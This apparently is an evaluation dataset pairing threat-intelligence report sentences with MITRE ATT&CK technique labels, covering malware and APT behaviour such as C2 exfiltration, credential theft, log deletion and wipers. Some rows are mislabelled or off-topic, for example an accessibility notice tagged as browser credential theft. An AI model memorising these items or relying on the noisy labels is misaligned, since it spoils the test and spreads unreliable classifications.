"The results will be stored in a JSON format, AES-encrypted and sent as an attachment using the Dropbox API",['T1573.001 - Symmetric Cryptography'],eval_config
"The malware then checks the functionality of its tor proxy by utilizing the curl command to contact the command and control server. After connecting to the CnC, the malware sends the data it had collected earlier, such as system information, by sending POST requests through the TOR proxy. After exfiltration of the data, the malware deletes the temporary files containing the data it sent",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. In this case, the infection vector has changed from previous samples. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. Similar to attacks in 2019, the attacker appends data in order to generate a large binary. Although the malicious part of the binary is only 2MB, the final file is more than 120MB in size, padded out with random data. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019","['T1132.001 - Data Encoding: Standard Encoding', 'T1027.001 - Obfuscated Files or Information: Binary Padding']",eval_config
It is possible that Group 72 has a vulnerability research team searching for 0-day vulnerabilities in Windows,"['T1203 - Exploitation for Client Execution', 'T1190 - Exploit Public-Facing Application']",eval_config
"Cicada clearly still has access to a lot of resources and skills to allow it to carry out a sophisticated and wide-ranging campaign like this, so the group remains highly dangerous. Its use of a tool to exploit the recently disclosed ZeroLogon vulnerability and a custom backdoor that has not been observed by Symantec before show that it continues to evolve its tools and tactics to actively target its victims","['T1199 - Trusted Relationship', 'T1210 - Exploitation of Remote Services']",eval_config
"WIZARD SPIDER has developed their tools over a number of years, and they continue to evolve the tactics, techniques and procedures (TTPs) needed to monetize their criminal operations in an efficient and effective manner. TrickBot . TrickBot has remained a primary tool for WIZARD SPIDER and has grown to infect upward of one million systems worldwide. This has made WIZARD SPIDER’s TrickBot malware an extremely prevalent and widely tracked target. However, in spite of this, TrickBot activity has returned to its usual rapid pace, and the impact of the disruption operation was manifested as a short-term setback for WIZARD SPIDER. Ryuk’s Return . Since September 2018, WIZARD SPIDER’s Ryuk ransomware has been the group’s most lucrative operation for siphoning money from its victims through extortion. It is possible that Conti and Ryuk may continue to be used simultaneously by WIZARD SPIDER, with either one being deployed depending on particular characteristics of the victim organization. Conti has been continually improved by WIZARD SPIDER and has already been used to compromise over 120 victim networks, with stolen data listed on the Conti DLS. Conti victims span multiple sectors and geographies, the vast majority of which are based in North America and Europe (Figure 4). This opportunistic targeting is indicative of WIZARD SPIDER and wider ransomware operations. Conti Ransomware Victims by Sector and Geography (click image to enlarge) . Conti has been under active development throughout WIZARD SPIDER’s deployment of the ransomware in BGH campaigns. WIZARD SPIDER, with its diverse and effective toolset, has proven to be a highly capable adversary and continues to be resilient, reactive and resolute as they continue to run their formidable criminal enterprise",['T1204.002 - User Execution: Malicious File'],eval_config
"Pteranodon is a backdoor which also can capture screenshots based on a configuration file created on the disk. Further, it uploads the screenshots to the C2 server unencrypted","['T1041 - Exfiltration Over C2 Channel', 'T1113 - Screen Capture']",eval_config
"Then, hard drives on a system are enumerated and for each drive, the \\.\EPMNTDRV\ device is called. Then the driver that was extracted is loaded by creating a new service using the CreateServiceW which rewrites the first 512 bytes of the Master Boot Record (MBR",['T1134 - Access Token Manipulation'],eval_config
"In 2016, CTU researchers observed the group using native system functionality to disable logging processes and delete logs within a compromised environment. The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server (systsm.webServer/httplogging) and then delete existing logs from the system (see Figure 4",['T1562.002 - Impair Defenses: Disable Windows Event Logging'],eval_config
Finally it calls “CreateThread” to create a thread within its memory space to make HTTPS requests to its C&amp;C server,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"Despite seemingly wide deployment of malicious capabilities in the region, follow-on activities by the group occur in areas of discrete interest, indicating a possible review of targeting. Following initial access, MSTIC has observed ACTINIUM deploying tools such as “Pterodo” to gain interactive access to target networks. In some cases, MSTIC has observed deployments of UltraVNC to enable a more interactive connection to a target",['T1021.005 - Remote Services:VNC'],eval_config
"The DOTM (Office template filetype) files are responsible for loading the patched DLLs onto the victim’s machine to collect and gather data. These DOTM files are created with DLL files encoded directly into the structure of the file. These DOTM files exist on remote servers compromised by the adversary; the first stage document contains an embedded link that refers to the location of this file. When the victim opens the document, the remote DOTM file that contains a Visual Basic macro code to load malicious DLLs, is loaded. Based on our analysis, these DLLs were first seen on 20 April 2020 and, to our knowledge based on age and prevalence data, these implants have been customized for this attack",['T1005 - Data from Local System'],eval_config
"We can compare it to the sample e338d49c270baf64363879e5eecb8fa6bdde8ad9 used in May 2017 by Group 74. In this campaign, adversaries did not use any exploit. Instead,the payload is executed in standalone mode by rundll32.exe. Adversaries also changed some constants, such as the XOR key used in the previous version",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"The Agent Tesla spyware Trojan has reportedly been around since 2014, but has undergone constant improvements and updates. Agent Tesla operators seem to have stayed in business for quite some time",['T1204.002 - User Execution: Malicious File'],eval_config
"Now let’s extract the krbtgt account hash from a dev.testlab.local domain controller. Instead of having to install an agent, we can now use Mimikatz’ DCSync to extract the hash. One thing to note is that you need to specify “&lt;NT4_DOMAINNAME&gt;\krbtgt” for the specified user for this to work properly (you can find the domain shortname easily with whoami or other methods). In this case we’re using DEV",['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],eval_config
"Once a victim was accessed, attackers would determine if the user account was an administrator or normal user. They would then download post-exploitation tools that included password/process-dumping utilities, reverse-tunneling tools, and custom backdoors","['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1555 - Credentials from Password Stores']",eval_config
"An APT group that we are calling BackdoorDiplomacy, due to the main vertical of its victims, has been targeting Ministries of Foreign Affairs and telecommunication companies in Africa and the Middle East since at least 2017. For initial infection vectors, the group favors exploiting vulnerable internet-exposed devices such as web servers and management interfaces for networking equipment. Once on a system, its operators make use of open-source tools for scanning the environment and lateral movement. In several instances, the group has been observed targeting removable media for data collection and exfiltration",['T1505.003 - Server Software Component: Web Shell'],eval_config
"A day later, public reporting outlined new malware called WhisperGate that originally was observed on Jan. This malware disables Windows Defender Threat Protection, is destructive in nature and was discovered to have targeted multiple organizations in Ukraine. Microsoft has publicly attributed the use of this custom malware to a threat actor they refer to as DEV-0586",['T1218.004 - Signed Binary Proxy Execution: InstallUtil'],eval_config
"After the macro is executed, it creates an EXE file in startup directory. This EXE file is “Flagpro”. In the most cases, this created EXE files are named “dwm.exe”. When the system launches next time, Flagpro, which was placed in startup directory as “dwm.exe”, will be executed",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"For the first time, the ROKRAT sample used during the ""North Korean Human Rights"" contained a browser credentials stealer. The code used to perform this task in the same that found within in a Freenki sample deployed in 2016. The malware is able to extract the stored passwords from Internet Explorer, Chrome and Firefox. For Chrome and Firefox, the malware queries the sqlite database containing the URL, username and password: Additionally, they support the Microsoft Vault mechanism. Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer",['T1203 - Exploitation for Client Execution'],eval_config
"Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. The victim is encouraged to click on an embedded URL hosted on sharingmymedia[.]com, which then downloads ObliqueRAT, the trojan discovered by Talos in 2020 associated with threat activity targeting entities in South Asia. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. In such cases, adversaries would deliver phishing maldocs to targets containing a malicious VBA macro that extracted either the CrimsonRAT executable or a ZIP archive embedded in the maldoc. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. Figure 2 shows the attackers' use of HTTrack, a free website copier program, to duplicate a legitimate website to use for their own malicious purposes. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. The malicious domain prompts the victim to enter their name and email address to sign up and download a seemingly important ""guide on pay and allowance. Upon clicking ""Download Now,"" a malicious XLS file is downloaded onto the victim's computer. After enabling macros, the file executes CrimsonRAT on the endpoint.Figure 4: The ""Download Now"" button contains a link to a malicious XLS with CrimsonRAT embedded in it",['T1566.002 - Phishing: Spearphishing Link'],eval_config
"The indian-attack[.]blogspot[.]com does not contain any malicious exploit code or payloads, but has a theme of terrorism in India. A blog with a theme related to India closely resembles the India News Tribe (intribune[.]blogspot[.]com) blog that ProjectM used in Operation Transparent Tribe to deliver Crimson payloads","['T1608.004 - Drive-by Target', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1189 - Drive-by Compromise']",eval_config
"HyperStack checks the configuration file to determine if the Type equals SilentMoon. If yes, it generates an RSA PKCS key using CryptGenKey that is used for encryption of communication session keys. It then writes the RSA key to the PRVK key in the [Version] section of the config file. Turla’s Carbon backdoor also implements RSA encryption on the session keys for some of its C&amp;C channels",['T1573.001 - Symmetric Cryptography'],eval_config
"In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. These files have most recently been found in use by criminals to deliver commodity RATs such as Flawed Ammyy. In DarkHydrus's case, the preferred payload retrieved in their previous attacks were exclusively open-source legitimate tools which they abuse for malicious purposes, such as Meterpreter and Cobalt Strike. However, in this instance, it appears that this group used a custom PowerShell based payload that we call RogueRobin",['T1588.002 - Tool'],eval_config
"Below is a snippet from the setup script used by Rocke in a previous campaign that also uses the serviced called netdns. After the file is created, the access and modified time is changed before the file is marked as non-modifiable","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",eval_config
"They were able to compromise critical assets including production servers and database servers, and they even managed to gain full control of the Domain Controller",['T1190 - Exploit Public-Facing Application'],eval_config
"One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub. The malware was a python-based implant using Dropbox for command and control. Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection",['T1583.006 - Web Services'],eval_config
"0.js also downloads two additional files from the C&amp;C server (green.ddd and green.tmp) The first of these files, green.ddd, is an executable file internally named “SEDll_Win32.dll”. This is a known backdoor used by this actor since 2014 for the same purpose: decrypting and executing the final JavaScript backdoor “Orz","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",eval_config
"NetPass.exe: a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. Outlook scraper: a tool that scrapes dates, names, email addresses, and email bodies from the victim’s Outlook accounts and uses that information to send out additional phishing emails from the compromised accounts. WebBrowserPassView: a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. Mail PassView: a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. The bypass component is used for enumeration of network resources and either find writable share drives using Server Message Block (SMB) or tries to brute force user accounts, including the administrator account. Once an available system is found, Emotet then writes the service component on the system, which writes Emotet onto the disk",['T1110.001 - Brute Force: Password Guessing'],eval_config
"Let's use the mmls utility from Brian Carrier's Sleuth Kit: Let's see what we have here. Let's take a closer look at apg.exe and use PPEE: This looks like TeamViewer and is signed as TeamViewer, so does this mean it indeed is TeamViewer. Judging by the file's size, it has nothing to do with the original msi.dll, so it is clearly DLL Search Order Hijacking. Another interesting file is TeamViewer.ini: Here is anti-forensics: according to the configuration file, our ""TeamViewer"" did not keep any logs, and was apparently used as a RAT (Remote Access Trojan). Well, not bad. To extract data from it, you can use RegRipper again. Let's take a look, at WinPrintSvc.exe, for instance: Remote Utilities is another remote management tool. Apparently, this is the source of Remote Utilities. If you continue scrolling through the timeline, you will see traces of a rather suspicious directory and file being created: Despite the strange extension, fnbfdnja.hej has a familiar header: What will a checksum search on VirusTotal show us. We already know that it is RTM, and since it is RTM, the most likely vector of infection is a phishing email. In this case, the victim used Microsoft Outlook, so we found the .ost file with mail data in its usual location, and in it — the exact phishing email we have been looking for: On a final note, let us check one more interesting artifact",['T1219 - Remote Access Software'],eval_config
"sendport' Toggle the use of PORT commands. By default, ftp will attempt to use a PORT command when establishing a connection for each data transfer. The use of PORT commands can prevent delays when performing multiple file transfers. If the PORT command fails, ftp will use the default data port. When the use of PORT commands is disabled, no attempt will be made to use PORT commands for each data transfer. This is useful for certain FTP implementations which do ignore PORT commands but, incorrectly, indicate they've been accepted",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],eval_config
"HermeticWiper then changes the CrashDumpEnabled registry key value to 0, under the System\CurrentControlSet\Control\CrashControl registry setting, so that memory dumps are disabled",['T1562.006 - Impair Defenses: Indicator Blocking'],eval_config
"1) NetPass.exe is a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. 2) Outlook scraper is a tool that scrapes names and email addresses from the victim’s Outlook accounts and uses that information to send out additional phishing emails from the compromised accounts. 3) WebBrowserPassView is a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. 4) Mail PassView is a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. The bypass component is used for the enumeration of network resources and either finds writable share drives using Server Message Block (SMB) or tries to brute force user accounts, including the administrator account. Once an available system is found, Emotet writes the service component on the system, which writes Emotet onto the disk. Emotet’s access to SMB can result in the infection of entire domains (servers and clients",['T1110.001 - Brute Force: Password Guessing'],eval_config
"This wormable exploit did come into being and is known today as the Conficker worm. It has also been referred to as the Conficker virus, Downadup and Kido. Conficker became one of the fastest and largest worm infections since the Sasser infection of 2004. Conficker's logic includes mechanisms to generate lists of new domain names on a daily basis to seek out Internet rendezvous points that the authors use for updates and for command and control of the machines infected. Conficker also uses binary validation techniques to ensure that updates are signed by its authors. So far, Conficker infected machines have not been used for any nefarious purposes, but the viability of a botnet of thousands, perhaps millions of computers available for use by criminal's remains a possibility. Furthermore, Conficker blocks access to security related sites such as Symantec or McAfee, thus preventing users from downloading tools to remove the infection",['T1562.001 - Impair Defenses: Disable or Modify Tools'],eval_config
"The C# variant of Zebrocy is similar to other variants in functionality, but also has several unique attributes that are worth discussing. Like other Zebrocy tools, the C# variant gathers the storage volume serial number to use in outbound beacons to the C2 server. In this particular variant, the tool uses the Windows API function GetVolumeInformation to get the serial number of the C: drive. This variant of Zebrocy also takes a screenshot that it will transmit to the C2 server in JPEG format",['T1113 - Screen Capture'],eval_config
"Attackers and groups routinely use file and URL scanning services to help develop and modify their malware to evade detections. We were already familiar with OilRig’s testing and development efforts as discussed in our previous blog, and we continually watch for changes to OilRig’s development techniques to give us insight into their methods. Gaining this developmental insight sheds light on OilRig’s advanced capabilities, giving us a more complete threat actor profile",['T1027.005 - Indicator Removal from Tools'],eval_config
"The Komplex payload uses the SERVERS variable to obtain the location of its C2, which it communicates with using HTTP POST requests. The payload generates a URL to communicate with its C2 server that has the following structure",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"The script downloads a file from GitHub called ""libprocesshider,"" which hides a file called ""x7"" using the ID preloader. The script looks for IP addresses in known_hosts and attempts to SSH into them, before downloading ""a7"" again from the actor's HFS at 118[.]24[.]150[.]172, and execute it","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1518.001 - Software Discovery: Security Software Discovery', 'T1140 - Deobfuscate/Decode Files or Information', 'T1562.004 - Impair Defenses: Disable or Modify System Firewall', 'T1018 - Remote System Discovery', 'T1036.005 - Masquerading: Match Legitimate Name or Location']",eval_config
"Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets’ websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections",['T1189 - Drive-by Compromise'],eval_config
"Emails dating more than three years prior to malware execution have been included in the collected EmailStorage folder, meaning that there may not be a date limit for the email enumerator. Kroll has identified instances where specific email messages were deleted within the EmailStorage folder. In some instances, the entire EmailStorage folder is deleted once messages have all been exfiltrated. Based on observed cases, there was no evidence that attachments were included in the collected data. Kroll collaborators at the National Cyber Forensics Training Alliance (NCFTA) observed Qakbot samples sending SMTP traffic indicative of outbound spam thread hijackings",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"Some of the native functionality that the malware provides without the use of a plugin includes collecting system data—such as computer name, username, current process, operating system (OS) version, local system time, and the current process that the malware is masquerading as (System Owner/User Discovery [T1033], Process Discovery [T1057], System Time Discovery [T1124], Masquerading [T1036]). The program also contains native C2 capabilities allowing it to communicate with the remote operator using an embedded SOCKS proxy or via domain name system (DNS) tunneling (Proxy [T1090",['T1090 - Proxy'],eval_config
"Upon initialization, two optional command-line parameters may be used to specify how long the malware will sleep before destruction begins and the system is restarted",['T1497.003 - Time Based Evasion'],eval_config
"The Lazarus group has been observed using Windows commands that differ from Andariel, such as preferring the “-ano” option with the “netstat” command and “find” as a filter command, rather than “findstr",['T1057 - Process Discovery'],eval_config
"In most cases, the MSI file executed a function from the embedded DLL, but there were also other cases where a VBS script was used in place of the DLL","['T1218.007 - Signed Binary Proxy Execution: Msiexec', 'T1218.007 - Signed Binary Proxy Execution: Msiexec']",eval_config
"We aim to support as many browsers and assistive technologies as possible, so our users can choose the best fitting tools for them, with as few limitations as possible",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],eval_config
We confirmed two different techniques used for distributing the Melcoz backdoor: the AutoIt loader script and DLL Hijack,['T1059 - Command and Scripting Interpreter'],eval_config
"creates a scheduled task with the following naming convention (e.g “Notepad++ autoupdate#94654”): [random folder name in %APPDATA%] autoupdate#[random_number] - Writes NTFS ADS files ($TASK, $GUID, $FILE",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"The threat actors tend to install malware on a large proportion of hosts during their intrusions. For example, the threat actors deleted volume shadow copies after using them for NTDS.dit retrieval",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"psexec.py: PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom). - smbexec.py: A similar approach to PSEXEC w/o using RemComSvc. Our implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available. atexec.py: This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. wmiexec.py: A semi-interactive shell, used through Windows Management Instrumentation. dcomexec.py: A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints",['T1047 - Windows Management Instrumentation'],eval_config
The macros are different. In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated,['T1204.002 - User Execution: Malicious File'],eval_config
"The cyber offensive programs attributed to these groups, targeting organizations around the world, have been documented for years. Their goals have ranged from gathering data around military technologies to crypto currency theft from leading exchanges",['T1027 - Obfuscated Files or Information'],eval_config
"The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com",['T1033 - System Owner/User Discovery'],eval_config
"As has been previously reported, there are two variants of the trojan TinkaOTP. The version that has received the most attention contains the malware payload in the application bundle’s Resources folder. The file is a Mach-O binary disguised as a .nib file, at ../Resources/Base.lproj/Submenu.nib",['T1036 - Masquerading'],eval_config
"In addition to WiFi profiles, the executable collects extensive information about the system, including FTP clients, browsers, file downloaders, and machine info (username, computer name, OS name, CPU architecture, RAM) and adds them to a list (Figure 7",['T1082 - System Information Discovery'],eval_config
"The SOMBRAT backdoor is packaged as a 64-bit Windows executable. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines",['T1105 - Ingress Tool Transfer'],eval_config
"We identified two lure ZIP files being used by Static Kitten designed to trick users into downloading a purported report on relations between Arab countries and Israel, or a file relating to scholarships. The URLs distributed through these phishing emails direct recipients to the intended file storage location on Onehub, a legitimate service known to be used by Static Kitten for nefarious purposes. 6] Anomali Threat Research has identified that Static Kitten is continuing to use Onehub to host a file containing ScreenConnect","['T1102.002 - Bidirectional Communication', 'T1583.006 - Web Services']",eval_config
"id-server connection . Post-Exploitation Analysis . During our research, we discovered a compromised host in Saudi Arabia that used ScreenConnect remote administration software. We then observed the threat actors interact with the compromised host using the ScreenConnect software, executing the following commands. Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line: This time, traffic will be forwarded to the server over port 443. The use of the following command provides additional evidence to support our assumption: The command connects to the C&amp;C server, downloads procdump64.exe, and saves the file in the C:\programdata directory. The following PowerShell command was used for this: The command downloads out1.exe and saves the file in the C:\users\public\ directory. This is unexpected since we believe this attack is connected to the MuddyWater threat actors — and in other connected campaigns, the attackers have shown higher levels of technical skill. sXpIBdPeKzI9PC2p0SWMpUSM2NSxWzPyXTMLlbXmYa0R20xk . This website uses cookies for website functionality, traffic analytics, personalization, social media functionality and advertising. OFF ON Keyboard Navigation (Motor) Use website with the keyboard This profile enables motor-impaired persons to operate the website using the keyboard Tab, Shift+Tab, and the Enter keys. 2) Keyboard navigation optimization: The background process also adjusts the website’s HTML and adds various behaviors using JavaScript code to make the website operable by the keyboard. If you wish to contact the website’s owner, please use the website's form . Hide Accessibility Interface",['T1090.002 - External Proxy'],eval_config
"The zipped file contains malicious JavaScript, masquerading as a browser update. A second JavaScript file is then executed by wscript.exe. This JavaScript first profiles the computer using commands such as whoami, net user, and net group, then uses PowerShell to download additional discovery related PowerShell scripts",['T1059.007 - Command and Scripting Interpreter: JavaScript'],eval_config
"In requesting commands, sending execution results of OS commands or collected authentication information, Flagpro accesses a C&amp;C server with specific URL paths and queries. It encodes data with Base64 and sends to the C&amp;C server. Following table shows relations between Flagpro’s activities and the URL paths and queries",['T1132.001 - Data Encoding: Standard Encoding'],eval_config
"Based on our observation, we strongly believe that there are more targeted devices from other vendors. This malware is modular in nature and it is likely that each vendor has different modules and architectures that were thought out well by the Cyclops Blink actors. But what is evident is that Cyclops Blink is an advanced piece of malware that focuses on persistence and the ability to survive domain sinkhole attempts and the takedown of its infrastructure. The APT group behind this malware has learned from its VPNFilter campaigns and continues to attack IoT devices such as routers",['T1105 - Ingress Tool Transfer'],eval_config
"After entering their credentials into the fake login page, victims were redirected to the legitimate website where they were automatically logged into a valid session or were prompted to enter their credentials again. Numerous spoofed domains referenced the targeted universities' online library systems, indicating the threat actors' intent to gain access to these resources",['T1598.003 - Spearphishing Link'],eval_config
"In addition, the malware automatically saves all incoming files from the attacker to its own folder. By this means, attackers can push additional malicious tools to an infected computer",['T1105 - Ingress Tool Transfer'],eval_config
"192 file extensions Comparing file extension. The wiper will overwrite the content of each file with 1MB worth of 0xCC bytes and rename them by appending each filename with a random four-byte extension. Wiping the file. Finally, it attempts to flush all file buffers to disk and stop all running processes (including itself) by calling ExitWindowsEx Windows API with EWX_SHUTDOWN flag",['T1485 - Data Destruction'],eval_config
"Current builds of Ryuk no longer contain persistence functionality. Previously, to remain persistent on the host, Ryuk created a registry entry under the Run key using Windows cmd.exe shell. The following command line was used to write to the Registry Run Key name svchos to HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the value being the path to the Ryuk executable","['T1106 - Native API', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",eval_config
Change file modes or Access Control Lists. Generally used by malware in order to give executable permissions to an executable payload retrieved remotely from a C2,"['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",eval_config
"CactusPete (also known as Karma Panda or Tonto Team) is an APT group that has been publicly known since at least 2013. Historically, their activity has been focused on military, diplomatic and infrastructure targets in Asia and Eastern Europe",['T1203 - Exploitation for Client Execution'],eval_config
"COBALT GYPSY has used spearphishing to target telecommunications, government, defense, oil, and financial services organizations based in or affiliated with the MENA region, identifying individual victims through social media sites",['T1566.003 - Spearphishing via Service'],eval_config
Konni Infection chain consists of multiple stages and utilizes living-off-the-land binaries in its operation from the use of certutil.exe to download additional files and decode their content to sc.exe and reg.exe for persistence,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"In March, we came across an email with a malware attachment that used the Gamaredon group’s tactics. Some of the emails used the coronavirus pandemic as a topic to lure victims into opening emails and attachments",['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
The backdoor’s communication with the C&amp;C server (sarmsoftware[.]com) is HTTP based on port 443 with port 80 as fallback,"['T1071.001 - Application Layer Protocol: Web Protocols', 'T1008 - Fallback Channels']",eval_config
"After verifying the user is an admin, the threat actor gathers information about the domain controllers and their IP addresses using an additional Base64-encoded and compressed PowerShell command",['T1482 - Domain Trust Discovery'],eval_config
"BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration. HOMEFRY: a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"At the moment we are receiving many inquiries about how to check systems for a Flame infection. Of course the simplest answer, for us, is to advise to use Kaspersky Lab Antivirus or Internet Security. We successfully detect and delete all possible modifications of the main module and extra components of Flame",['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
"Blue Mockingbird is the name we’ve given to a cluster of similar activity we’ve observed involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. Gaining entry . In at least two incident response (IR) engagements, Blue Mockingbird has exploited public-facing web applications (T1190: Exploit Public-Facing Application) that implemented Telerik UI for ASP.NET AJAX. The exploitation of this CVE is not unique to Blue Mockingbird, but it has been a common point of entry. In telemetry, investigators will notice w3wp.exe writing the DLLs to disk and then immediately loading them into memory afterward. Execution and evasion . The primary payload distributed by Blue Mockingbird is a version of XMRIG packaged as a DLL. Come for the exploit, stay for the mining . Blue Mockingbird leveraged multiple techniques for persistence during incidents. It executed the following command: Since COR_PROFILER was configured, every process that loaded the Microsoft .NET Common Language Runtime would execute the command above, re-establishing persistence. In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These were accompanied by cleartext references to command-line options common to XMRIG: The final piece of evidence came from a text log written to disk by some versions of the miner DLL. So far, we’ve identified two wallet addresses used by Blue Mockingbird that are in active circulation",['T1569.002 - System Services: Service Execution'],eval_config
"Compared to other adversary groups, C0d0so0 has shown the use of more sophisticated tactics and tools and has been linked to leveraging zero-day exploits on numerous occasions in combination with watering hole and spear phishing attacks",['T1189 - Drive-by Compromise'],eval_config
"The message box distracts the user as TrickBot’s payload is downloaded, stored in the %TEMP% folder, and executed. A new process injects the TrickBot payload into a svchost.exe process",['T1055.012 - Process Injection: Process Hollowing'],eval_config
"Zirconium is using what are referred to as web bugs, or web beacons, tied to a domain they purchased and populated with content. The actor then sends the associated URL in either email text or an attachment to a targeted account. Although the domain itself may not have malicious content, the web bug allows Zirconium to check if a user attempted to access the site. For nation-state actors, this is a simple way to perform reconnaissance on targeted accounts to determine if the account is valid or the user is active",['T1583.001 - Domains'],eval_config
"iSIGHT Partners has been monitoring the Sandworm Team’s activities from late 2013 and throughout 2014 – the genesis of this team appears to be around 2009. The team prefers the use of spear-phishing with malicious document attachments to target victims. The team has recently used multiple exploit methods to trap its targets including the use of BlackEnergy crimeware, exploitation of as many as two known vulnerabilities simultaneously, and this newly observed Microsoft Windows zero-day",['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
"The first spam run on August 31 used a Rich Text Format (RTF) document laden with malicious macros. The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled. We also saw other threat actors using the same security flaw of late, like the cyberespionage group ChessMaster",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
"The loader processes them one by one. Then, it fetches the relocation offset (AND EAX,0xFFF), gets the pointed address and performs calculation – by removing old ImageBase (it’s value is hardcoded) and applying the new base – offset to the dynamically allocated memory where the unpacked code was copied",['T1055.012 - Process Injection: Process Hollowing'],eval_config
"computer name - username - operating system version and bitness - whether Diebold Warsaw GAS Tecnologia (an application, popular in Brazil, to protect access to online banking) is installed - list of installed security products","['T1562.004 - Impair Defenses: Disable or Modify System Firewall', 'T1518.001 - Software Discovery: Security Software Discovery', 'T1518.001 - Software Discovery: Security Software Discovery']",eval_config
"This variant of TrickBot employs a new, unique ability to steal passwords from KeePass, a free, open- source password manager. TrickBot's KeePass stealing capabilities seem to be inspired (or even partially copy-pasted) from a publicly available tool dubbed PoshKPBrute, a script that performs a dictionary attack against KeePass .kdbx files. Once it finds the dictionary key, it dumps all passwords as an output and sends the attackers the master password","['T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555.005 - Password Managers']",eval_config
